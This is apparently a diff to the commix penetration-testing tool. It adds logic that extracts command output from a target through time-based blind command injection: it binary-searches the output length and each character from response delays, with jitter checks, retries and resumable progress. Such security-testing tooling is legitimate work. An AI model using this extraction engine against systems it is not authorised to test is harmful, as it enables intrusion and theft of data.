+ # target rather than inferred from a model of it. One probe whose condition cannot hold, and so
+ # cannot ask for a delay, is sent alongside the others that do ask for one: if even that one comes
+ # back looking late, then so does everything the retrieval is about to compare. Every round has to
+ # be told apart, because a retrieval makes thousands of those comparisons and reads a character
+ # wrong on any one of them. Returns how late such an answer was, or None where none of them were.
+ def _confounded_by_threads(workers):
+ impossible = int(maxlen) * 2 + 100
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ quick = payloads.get_length(separator, cmd, impossible, timesec, http_request_method)
+ slow = payloads.get_length(separator, cmd, int(minlen), timesec, http_request_method)
+ else:
+ quick = payloads.cmd_execution(separator, cmd, impossible, OUTPUT_TEXTFILE, timesec, http_request_method)
+ slow = payloads.cmd_execution(separator, cmd, int(minlen), OUTPUT_TEXTFILE, timesec, http_request_method)
+ if not quick or not slow:
+ return None
+
+ # One request whose only purpose is to occupy the target while another is timed.
+ def _hold_answer_back():
+ # The point of these is the load they put on the target, not what they come back with.
+ threading.current_thread().commix_suppress_output = True
+ try:
+ requests.perform_injection(prefix, suffix, whitespace, slow, vuln_parameter, http_request_method, url)
+ except Exception:
+ pass
+
+ exec_time = 0
+ for _ in range(settings.FALSE_POSITIVE_RETRIES):
+ try:
+ with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
+ for _ in range(workers - 1):
+ executor.submit(_hold_answer_back)
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, quick, vuln_parameter, http_request_method, url)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ if checks.time_related_shell(exec_time, timesec):
+ return exec_time
+ return None
+
+ # Raising the delay instead would cost every probe of every character what the concurrency saves.
+ def _drop_threads_if_timing_unsafe():
+ workers = retrieval_concurrency()
+ if workers <= 1 or not _THREADS_SUPPORTED:
+ return
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking whether answers can still be told apart with " + str(workers)
+ debug_msg += " requests in flight."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ exec_time = _confounded_by_threads(workers)
+ if exec_time is None:
+ return
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "An answer that asked for no delay still took " + str(round(exec_time, 1))
+ debug_msg += " seconds while " + str(workers - 1) + " other request"
+ debug_msg += ("s" if workers > 2 else "") + " waited on the target."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ _fall_back_to_single_thread("Concurrent requests make every answer look delayed on this target.")
+
+ _warm_up_target_shell()
+ _warm_up_baseline()
+ _drop_threads_if_timing_unsafe()
+ _check_lagging()
+ _raise_delay_above_baseline()
+
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking that a delayed answer can be told apart from an ordinary one."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ if not _oracle_holds():
+ if _delay_still_observable():
+ # The delay is there for a condition that does not ask about the output, and gone for every
+ # one that does - so the command answered nothing, and there is no length to look for.
+ err_msg = "The '" + str(cmd) + "' command produced no output on the target."
+ else:
+ err_msg = "Delayed and ordinary answers cannot be told apart, so the output length cannot be "
+ err_msg += "measured. Try a higher '--time-sec'"
+ if retrieval_concurrency() > 1:
+ err_msg += ", fewer '--threads'"
+ err_msg += ", or a less loaded network."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_critical_msg(err_msg))
+ return 0, ""
+
+ # Close the warm-up dots line before starting a new spinner line.
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+
+ output_length = None
+ if _cached_length is not None:
+ output_length = _cached_length
+ found_chars = True
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not interpreter:
+ # Convert leftover raw file output to decimal before extraction starts.
+ payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
+ _measure_length(payload)
+ info_msg = "Reusing the previously retrieved output length: " + str(output_length)
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ info_msg = "Retrieving the length of execution output"
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and OUTPUT_TEXTFILE:
+ info_msg += " from file '" + OUTPUT_TEXTFILE + "'"
+ info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
+
+ if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and interpreter):
+ # Binary search the output length, mirroring _bisect_once() below.
+ def _length_delayed(candidate):
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ if interpreter:
+ payload = payloads.get_length_alter_interpreter(separator, cmd, candidate, timesec, http_request_method)
+ else:
+ payload = payloads.get_length(separator, cmd, candidate, timesec, http_request_method)
+ else:
+ payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method)
+ return _measure_length(payload)
+
+ """
+ One wrong answer sends the search into the wrong half, so a step is worth confirming - but
+ only where a wrong answer is on the cards. Until the timing has actually been seen to wobble,
+ a second probe of a step costs another whole delay to be told what the first one said, and
+ the answer the search settles on is re-checked afterwards either way. Once jitter has been
+ seen, every step is answered twice, and a third time to break a tie.
+ """
+ def _length_delayed_confirmed(candidate):
+ first = _length_delayed(candidate)
+ # One dot for the step, however many of the up-to-three questions above it took to answer -
+ # a caller reading the dot count as the search's own size would otherwise see a step that
+ # needed confirming cost three times what an identical, uncontested one cost.
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ if not settings.JITTER_SEEN:
+ return first
+ if first == _length_delayed(candidate):
+ return first
+ return _length_delayed(candidate)
+
+ # Find the length of the output, by bracketing it and then halving the bracket.
+ def _bisect_length():
+ # Each question keeps the interrupt handling the rest of this search has, and the searching
+ # itself is the shared one - the same halving the ordinals are found with, over lengths.
+ def _asks(candidate):
+ while True:
+ try:
+ return _length_delayed_confirmed(candidate)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ return resolved_length(_asks, minlen)
+
+ output_length = _bisect_length()
+
+ if output_length is not None:
+ # Whether a length is the answer: it must hold, and the next one up must not.
+ def _boundary_holds(candidate):
+ if not _length_delayed(candidate):
+ return False
+ # The next length up must not hold. Without that negative half, a target that answers
+ # late whatever it is asked has its upper bound accepted as the answer.
+ if _length_delayed(candidate + 1):
+ return False
+ return True
+
+ # Read the length back a second way, where the technique can be asked for it directly.
+ def _exact_length_confirmed(candidate):
+ if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ return True
+ payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-eq")
+ return _measure_length(payload)
+
+ """
+ Best-of-3 vote once jitter has been seen, for a stronger guarantee. A single pass is enough
+ while the timing is clean: it already asks in both directions, and a wobble would have to
+ fall the right way twice over to be mistaken for an answer.
+ """
+ def _validate_boundary(candidate):
+ if settings.JITTER_SEEN:
+ votes = [_boundary_holds(candidate) for _ in range(3)]
+ same_mechanism_ok = votes.count(True) >= 2
+ else:
+ same_mechanism_ok = _boundary_holds(candidate)
+ result = same_mechanism_ok and _exact_length_confirmed(candidate)
+ # One dot for the validation attempt, whatever it cost internally to reach.
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ return result
+
+ revalidations = 0
+ original_timesec = timesec
+ while True:
+ try:
+ validated = _validate_boundary(output_length)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ continue
+ if validated:
+ break
+ was_jittery = settings.JITTER_SEEN
+ settings.JITTER_SEEN = True
+ settings.ADJUST_TIME_DELAY_DISABLED = True
+ max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1)
+ if revalidations >= max_revalidations:
+ length_suspect = True
+ timesec = settings.CALIBRATED_TIMESEC = original_timesec
+ break
+ revalidations += 1
+ settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying.."))
+ if settings.ADJUST_TIME_DELAY_CHOICE is not False:
+ timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec)
+ warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ output_length = _bisect_length()
+ if output_length is None:
+ length_suspect = True
+ # Put the delay back, the way exhausting the retries above does: it was raised for a
+ # search that has now given up, and left raised every later command pays it.
+ timesec = settings.CALIBRATED_TIMESEC = original_timesec
+ break
+ _note_validation_result(revalidations > 0)
+
+ if output_length is not None:
+ found_chars = True
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ _length_delayed(output_length)
+ else:
+ # Experimental interpreter path only - its oracle is still exact-match, not bisectable.
+ # Up to and including the limit: '--maxlen' is how much this run is willing to read, which is
+ # a length it is willing to read rather than one short of it.
+ for candidate_length in range(int(minlen), int(maxlen) + 1):
+ payload = payloads.cmd_execution_alter_interpreter(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method)
+ found = _measure_length(payload)
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ if found:
+ output_length = candidate_length
+ found_chars = True
+ break
+
+ if settings.VERBOSITY_LEVEL == 0 and found_chars:
+ settings.print_data_to_stdout(" (done)")
+
+ if length_suspect:
+ warn_msg = "The detected output length may be unreliable due to connection instability. Consider re-running to confirm it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ """
+ What the run was willing to read, applied to the reading - after the length has been settled and
+ confirmed, so what is announced is what will actually be read.
+
+ The length is found on its own now, so an output past that limit is known to be past it rather
+ than guessed at a bound: the first characters of a length said outright, instead of a shorter
+ output that reads like a whole one.
+ """
+ # The length as measured, before the read limit below is applied to it - what a partial result is
+ # recorded against, so a later run given a higher '--maxlen' is not held to this run's limit.
+ full_output_length = output_length
+ if found_chars is True and output_length is not None and int(output_length) > int(maxlen):
+ settings.INCOMPLETE_OUTPUT = True
+ warn_msg = "The output is " + str(int(output_length)) + " characters long, and this run reads "
+ warn_msg += str(int(maxlen)) + " of them. Re-run with a higher '--maxlen' to read the rest of it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ output_length = int(maxlen)
+
+ if _cached_length is None and found_chars is True and output_length > 1:
+ info_msg = "Retrieved: " + str(output_length)
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ # Every character costs its own requests, so a long output is worth confirming first.
+ if found_chars is True and output_length > settings.LARGE_OUTPUT_THRESHOLD:
+ workers = retrieval_concurrency()
+ message = "The output is " + str(output_length) + " characters long and is recovered "
+ message += "one character at a time" if workers == 1 else str(workers) + " characters at a time"
+ message += ". Do you want to retrieve it? [Y/n] "
+ if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_YES:
+ warn_msg = "Skipping the retrieval of " + str(output_length) + " characters."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return 0, ""
+
+ # Proceed with the next (injection) step!
+ if found_chars is True :
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = previous_cmd
+ num_of_chars = output_length + 1
+ check_start = 0
+ check_end = 0
+ check_start = time.time()
+ output = []
+ # Position -> resolved ordinal (>= 0), shared by both loops; -1 marks "attempted, no delay found".
+ UNRESOLVED_POSITION = -1
+ results_by_position = {}
+ failed_positions = set()
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ base_progress_msg = "Retrieving the execution output."
+ else:
+ base_progress_msg = "Retrieving the execution output from file '" + OUTPUT_TEXTFILE + "'."
+ if settings.VERBOSITY_LEVEL == 0 :
+ info_msg = base_progress_msg.rstrip(".") + ": "
+ else:
+ info_msg = base_progress_msg + settings.END_LINE.LF
+ # Skip when resuming; _load_partial_progress() prints the resume header and progress line.
+ if output_length > 1 and _cached_length is None:
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
+
+ eta_bar = progress.ProgressBar(maxvalue=output_length) if menu.options.eta else None
+
+ observed_chars = set()
+ observed_count = [0]
+ char_frequency = {}
+ observed_chars_lock = threading.Lock()
+
+ # Renders positions resolved so far, order-independent: "_" not attempted, "?" no delay found.
+ def _render_output_so_far():
+ furthest = 0
+ chars = []
+ for pos in range(1, output_length + 1):
+ ascii_char = results_by_position.get(pos)
+ if ascii_char == UNRESOLVED_POSITION:
+ chars.append(settings.UNRESOLVED_CHAR)
+ furthest = pos
+ elif ascii_char is not None:
+ ch = chr(ascii_char)
+ chars.append(ch if ch.isprintable() else " ")
+ furthest = pos
+ else:
+ chars.append("_")
+ return checks.progress_display_text(chars, furthest, output_length)
+
+ # Rewrite the progress line with the characters resolved so far.
+ def _print_progress():
+ # Asked for as an estimate rather than as the text: how much is left, and how long it will take.
+ if eta_bar is not None:
+ eta_bar.progress(sum(1 for _pos in range(1, output_length + 1) if results_by_position.get(_pos) is not None))
+ return
+ if settings.VERBOSITY_LEVEL == 0:
+ progress_msg = base_progress_msg.rstrip(".") + ": " + _render_output_so_far()
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(progress_msg))
+
+ # Pre-populates results_by_position from an interrupted prior run's partial value.
+ def _load_partial_progress():
+ if _stored_partial is None:
+ return
+ body = _stored_partial[len(settings.PARTIAL_VALUE_MARKER):]
+ try:
+ stored_length, pairs = body.split(":", 1)
+ # Against the length as measured rather than as read: a run reading fewer of them is reading
+ # the same output, and the positions past this run's limit are not among the ones it reads.
+ if int(stored_length) != full_output_length:
+ return
+ for pair in pairs.split(","):
+ if not pair:
+ continue
+ pos_str, ord_str = pair.split("=")
+ if int(pos_str) <= output_length:
+ results_by_position[int(pos_str)] = int(ord_str)
+ except ValueError:
+ return
+ if results_by_position:
+ info_msg = "Resuming the previously interrupted extraction (" + str(len(results_by_position)) + "/" + str(output_length) + " character(s) already retrieved)."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ _print_progress()
+
+ # Persists progress so far, partial unless every position is done - called
+ # before any interrupt-triggered exit.
+ def _save_progress():
+ if menu.options.ignore_session:
+ return
+ resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items()
+ if ordinal is not None and ordinal != UNRESOLVED_POSITION)
+ if len(resolved) >= len(positions) and not settings.INCOMPLETE_OUTPUT:
+ value = "".join(chr(resolved[pos]) for pos in positions)
+ else:
+ # Recorded against the measured length: every position this run was willing to read can be
+ # resolved and the output still be the shorter part of a longer one.
+ pairs = ",".join(str(pos) + "=" + str(ordinal) for pos, ordinal in sorted(resolved.items()))
+ value = settings.PARTIAL_VALUE_MARKER + str(full_output_length) + ":" + pairs
+ session_handler.store_cmd(url, cmd, value, vuln_parameter)
+
+ # Resolve one character of the output, by halving the range its value lies in.
+ def _bisect_once(num_of_chars, char_pool):
+ nonlocal timesec
+ # Binary search over the character's ordinal value.
+ min_ord = min(char_pool)
+ max_ord = max(char_pool)
+ conn_error_flag = False
+
+ # Whether the target waits when asked if this character is at or below a value.
+ def _char_delayed(candidate, operator="-le"):
+ nonlocal conn_error_flag
+ with timesec_lock:
+ local_timesec = timesec
+ payload = payloads.get_char(separator, cmd, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, candidate, local_timesec, http_request_method, operator=operator)
+ exec_time = 0
+ errors_before = settings.VISIBLE_CONNECTION_ERRORS
+ for attempt in range(5):
+ before = stability.requests_sent()
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ if not stability.request_was_retried(before):
+ break
+ if settings.VISIBLE_CONNECTION_ERRORS != errors_before:
+ conn_error_flag = True
+ decision = checks.time_related_shell(exec_time, local_timesec)
+ if not decision:
+ checks.record_probe_response_time(exec_time)
+ else:
+ lower_limit = checks.current_delay_threshold(local_timesec)
+ if lower_limit is not None:
+ _adjust_time_delay(exec_time, lower_limit)
+ return decision
+
+ # The halving itself, over the ordinals the character can still be.
+ def _bisect_chars(force_full=False):
+ lo = min_ord - 1
+ hi = max_ord
+ # Confirm the fast path twice; threaded mode re-raises so only the main thread prompts.
+ while True:
+ try:
+ if _char_delayed(hi) and _char_delayed(hi):
+ """
+ And ask something no byte can be. A target answering late to everything agrees to this
+ shortcut for every position, and the equality check that follows agrees too, being
+ just as saturated - so the whole output resolves to the pool's last character. A
+ control that comes back delayed says the timing, not the byte, is doing the talking.
+
+ One above the pool is no such control: the pool stops at the last printable character
+ and a byte is free to carry on past it, so a target reading one answers that question
+ honestly and used to be thrown away for it.
+ """
+ if _char_delayed(settings.HIGHEST_BYTE + 1):
+ return None, True
+ if not _char_delayed(hi + 1):
+ return hi, True
+ """
+ Above everything the pool holds, so the rest of the range a byte can be is asked about
+ too - the halving below only ever looks inside the pool, and the heuristics before it
+ only at characters already seen. Paid for by the positions that need it, and not at
+ all by a pool the user wrote out, where a byte outside it was not asked for.
+ """
+ if not checks.char_pool_expands():
+ return None, True
+ low_delayed, high_undelayed = hi + 1, settings.HIGHEST_BYTE + 1
+ while high_undelayed - low_delayed > 1:
+ try:
+ mid = (low_delayed + high_undelayed) // 2
+ if _char_delayed(mid):
+ low_delayed = mid
+ else:
+ high_undelayed = mid
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ return low_delayed, True
+ break
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+
+ if not force_full:
+ with observed_chars_lock:
+ top_candidates = sorted(char_frequency, key=char_frequency.get, reverse=True)[:settings.FREQUENCY_PROBE_TOP_K]
+ saturated = False
+ for candidate in top_candidates:
+ while True:
+ try:
+ if _char_delayed(candidate, operator="-eq"):
+ # Reject a saturated oracle: a value that cannot match must come back undelayed.
+ if not (threaded or settings.JITTER_SEEN):
+ return candidate, False
+ control = candidate + 1 if candidate < max(char_pool) else min(char_pool)
+ if not _char_delayed(control, operator="-eq"):
+ return candidate, False
+ saturated = True
+ break
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ if saturated:
+ break
+
+ with observed_chars_lock:
+ eligible = (observed_count[0] >= settings.NARROWING_MIN_OBSERVED
+ and len(observed_chars) <= settings.NARROWING_MAX_SET_SIZE)
+ narrowed = sorted(observed_chars) if eligible else None
+ if narrowed:
+ # Binary-search the narrowed set by index; keep hi as an exclusive sentinel.
+ nlo, nhi = -1, len(narrowed)
+ while nhi - nlo > 1:
+ try:
+ nmid = (nlo + nhi) // 2
+ if _char_delayed(narrowed[nmid]):
+ nlo = nmid
+ else:
+ nhi = nmid
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ if nlo >= 0:
+ # The value may be outside this set; boundary validation catches and escalates misses.
+ return narrowed[nlo], False
+
+ while hi - lo > 1:
+ try:
+ mid = (lo + hi) // 2
+ if _char_delayed(mid):
+ lo = mid
+ else:
+ hi = mid
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ return (lo, True) if lo >= min_ord else (None, True)
+
+ ascii_char, from_full_range = _bisect_chars()
+
+ """
+ A position that produced no delay anywhere is the case the escalation below exists for: the
+ delay may be too short for this target, or the threshold too high to notice it. Answered with
+ nothing and left out of that loop, it got no second chance at all, while a position that
+ answered wrongly got fifteen.
+ """
+ if ascii_char is None and settings.ADJUST_TIME_DELAY_CHOICE is not False:
+ undelayed_retries = 0
+ before_escalation = timesec
+ while ascii_char is None and undelayed_retries < settings.MAX_LENGTH_REVALIDATIONS:
+ undelayed_retries += 1
+ settings.JITTER_SEEN = True
+ settings.ADJUST_TIME_DELAY_DISABLED = True
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec)
+ new_timesec = timesec
+ warn_msg = "No delayed answer for this character. Increasing time delay to "
+ warn_msg += str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ try:
+ ascii_char, from_full_range = _bisect_chars(force_full=True)
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ if ascii_char is None:
+ conn_error_flag = True
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = before_escalation
+
+ if ascii_char is not None:
+ # Re-probe with equality before accepting - one request when clean,
+ # best-of-3 once jitter is seen.
+ def _validate_char_boundary(candidate):
+ if settings.JITTER_SEEN:
+ votes = [_char_delayed(candidate, operator="-eq") for _ in range(3)]
+ return votes.count(True) >= 2
+ return _char_delayed(candidate, operator="-eq")
+
+ revalidations = 0
+ """
+ The delay this character started with, to go back to once it has had its attempts.
+
+ Raising it is how a position that answered unreliably is asked again, and it is that
+ position's business alone: left standing, the first bad character sets the pace every one
+ after it is read at, and on a target that wobbles once the run never comes back down.
+ """
+ with timesec_lock:
+ original_timesec = timesec
+ while True:
+ try:
+ validated = _validate_char_boundary(ascii_char)
+ except KeyboardInterrupt:
+ if threaded:
+ raise
+ checks.handle_exploitation_interrupt(filename, url)
+ continue
+ if validated:
+ break
+ if not from_full_range:
+ # Re-search the full range before treating a narrowed-set miss as timing noise.
+ ascii_char, from_full_range = _bisect_chars(force_full=True)
+ if ascii_char is None:
+ conn_error_flag = True
+ break
+ continue
+ was_jittery = settings.JITTER_SEEN
+ settings.JITTER_SEEN = True
+ settings.ADJUST_TIME_DELAY_DISABLED = True
+ max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1)
+ if revalidations >= max_revalidations:
+ conn_error_flag = True
+ # Put back unconditionally: the delay was raised for this character, and leaving it
+ # raised because another character raised it too is how one bad position sets the
+ # pace for everything after it.
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = original_timesec
+ break
+ revalidations += 1
+ settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying."))
+ if settings.ADJUST_TIME_DELAY_CHOICE is not False:
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec)
+ new_timesec = timesec
+ warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ ascii_char, from_full_range = _bisect_chars(force_full=True)
+ if ascii_char is None:
+ conn_error_flag = True
+ break
+ _note_validation_result(revalidations > 0)
+
+ if ascii_char is not None:
+ with observed_chars_lock:
+ observed_chars.add(ascii_char)
+ observed_count[0] += 1
+ char_frequency[ascii_char] = char_frequency.get(ascii_char, 0) + 1
+
+ return ascii_char, conn_error_flag
+
+ # Resolve the character at one position, on whichever shell the run is speaking.
+ def _extract_position(num_of_chars):
+ nonlocal timesec
+ # Chosen by how long the output is, which is what the pool is picked on - not by which of its
+ # characters is being read, which is what this position is. Asked with the position, the first
+ # character of every output was read against the single-character pool, and that one leaves
+ # out the tab and the newline: an output beginning with either could not be resolved at all,
+ # after every escalation the position is allowed had been spent on it.
+ char_pool = checks.generate_char_pool(output_length)
+
+ if interpreter:
+ # Alternative shells are still experimental.
+ target = cmd if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else OUTPUT_TEXTFILE
+
+ # Whether the target waits, asked through an interpreter of its own.
+ def _delayed(candidate, operator, local_timesec):
+ payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator)
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ return checks.time_related_shell(exec_time, local_timesec)
+
+ # The halving itself, over the ordinals the character can still be.
+ def _bisect(local_timesec):
+ return resolved_ordinal(lambda candidate: _delayed(candidate, "-le", local_timesec),
+ char_pool, expands=checks.char_pool_expands())
+
+ # Whether an ordinal is the answer: it must hold, and the next one up must not.
+ #
+ # The halving asks whether the byte is at least some ordinal, so one above everything the
+ # pool holds answers yes to all of them and the search climbs to the pool's own last
+ # character. Nothing above it is ever asked about, so that answer would be taken for the
+ # byte's own - which is why the top of the pool is the one candidate checked from above as
+ # well, in the range a byte can still be rather than only the range the pool covers.
+ def _boundary_holds(candidate, local_timesec):
+ if not _delayed(candidate, "-le", local_timesec):
+ return False
+ if candidate + 1 <= settings.HIGHEST_BYTE and _delayed(candidate + 1, "-le", local_timesec):
+ return False
+ return True
+
+ # Ask again where the target's timing has been unsteady, and take the majority answer.
+ def _validate(candidate, local_timesec):
+ if settings.JITTER_SEEN:
+ votes = [_boundary_holds(candidate, local_timesec) for _ in range(3)]
+ holds = votes.count(True) >= 2
+ else:
+ holds = _boundary_holds(candidate, local_timesec) and _boundary_holds(candidate, local_timesec)
+ return holds and _delayed(candidate, "-eq", local_timesec)
+
+ revalidations = 0
+ original_timesec = timesec
+ candidate = _bisect(timesec)
+ while True:
+ try:
+ validated = candidate is not None and _validate(candidate, timesec)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ continue
+ if validated:
+ return num_of_chars, candidate, False
+ was_jittery = settings.JITTER_SEEN
+ settings.JITTER_SEEN = True
+ settings.ADJUST_TIME_DELAY_DISABLED = True
+ max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1)
+ if revalidations >= max_revalidations:
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = original_timesec
+ return num_of_chars, None, True
+ revalidations += 1
+ settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying."))
+ if settings.ADJUST_TIME_DELAY_CHOICE is not False:
+ with timesec_lock:
+ timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec)
+ candidate = _bisect(timesec)
+
+ # One bisection per position - the corruption check below catches systematic bias instead.
+ ascii_char, conn_error_flag = _bisect_once(num_of_chars, char_pool)
+ return num_of_chars, ascii_char, conn_error_flag
+
+ positions = list(range(1, int(num_of_chars)))
+ _load_partial_progress()
+ positions_to_extract = [pos for pos in positions if pos not in results_by_position]
+ conn_error_positions = set()
+ # Asked once already in do_time_related_process(), before this ever runs.
+ threaded = retrieval_concurrency() > 1
+ if not threaded:
+ remaining = positions_to_extract
+ while remaining:
+ try:
+ for pos in remaining:
+ _, ascii_char, conn_error_flag = _extract_position(pos)
+ if ascii_char is None:
+ failed_positions.add(pos)
+ results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char
+ if conn_error_flag:
+ conn_error_positions.add(pos)
+ _print_progress()
+ remaining = []
+ except SystemExit:
+ _save_progress()
+ raise
+ except KeyboardInterrupt:
+ # Defensive fallback - should already be absorbed inside _bisect_once()/_bisect_chars().
+ _save_progress()
+ checks.handle_exploitation_interrupt(filename, url)
+ remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None]
+ else:
+ # Extract positions concurrently - never more workers than positions to fill.
+ remaining = positions_to_extract
+ while remaining:
+ num_workers = min(settings.THREADS, len(remaining)) or 1
+ executor = concurrent.futures.ThreadPoolExecutor(max_workers=num_workers)
+ try:
+ futures = {executor.submit(_extract_position, pos): pos for pos in remaining}
+ for future in concurrent.futures.as_completed(futures):
+ pos, ascii_char, conn_error_flag = future.result()
+ if ascii_char is None:
+ failed_positions.add(pos)
+ results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char
+ if conn_error_flag:
+ conn_error_positions.add(pos)
+ _print_progress()
+ except SystemExit as exc:
+ _save_progress()
+ _abort_executor(executor, exc)
+ except KeyboardInterrupt:
+ # wait=True lets in-flight workers finish, so nothing races the retry below.
+ executor.shutdown(wait=True, cancel_futures=True)
+ _save_progress()
+ checks.handle_exploitation_interrupt(filename, url)
+ remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None]
+ else:
+ executor.shutdown(wait=True)
+ remaining = []
+
+ # A position that returned no delay is usually a transient miss - a lagging response, or one
+ # worker's request read as another's - so each one is asked again, alone, whether or not the
+ # first pass was threaded. Every position failing is a systematic failure instead, and asking
+ # the same oracle twice would only spend the requests again.
+ if failed_positions and len(failed_positions) < len(positions):
+ retry_positions = sorted(failed_positions)
+ info_msg = "Re-attempting " + str(len(retry_positions)) + " character"
+ info_msg += "s"[len(retry_positions) == 1:] + " that returned no delay."
+ settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_info_msg(info_msg))
+ for pos in retry_positions:
+ try:
+ _, ascii_char, conn_error_flag = _extract_position(pos)
+ except SystemExit:
+ _save_progress()
+ raise
+ except KeyboardInterrupt:
+ _save_progress()
+ checks.handle_exploitation_interrupt(filename, url)
+ break
+ if ascii_char is None:
+ continue
+ failed_positions.discard(pos)
+ conn_error_positions.discard(pos)
+ results_by_position[pos] = ascii_char
+ _print_progress()
+
+ # Assemble in position order. A position that stayed unresolved is marked rather than dropped:
+ # a silently shorter output is indistinguishable from a real value.
+ for pos in positions:
+ ascii_char = results_by_position.get(pos)
+ if ascii_char == UNRESOLVED_POSITION:
+ output.append(settings.UNRESOLVED_CHAR)
+ elif ascii_char is not None:
+ output.append(chr(ascii_char))
+
+ boundary_char = chr(max(settings.CHAR_POOL_MULTI))
+ # One of them is a character the output is entitled to - a backup name, a home path. What this
+ # looks for is an oracle agreeing to everything, which resolves most of the positions to it, and
+ # resolving every one of them the control above already refuses outright.
+ if output.count(boundary_char) > max(1, len(output) // 2) or conn_error_positions or lagging_detected:
+ if threaded:
+ warn_msg = "Concurrent (threaded) requests overloading the target may have corrupted the extracted data. Consider re-running with '--threads=1' to confirm it."
+ else:
+ warn_msg = "Connection instability with the target may have corrupted the extracted data. Consider re-running to confirm it."
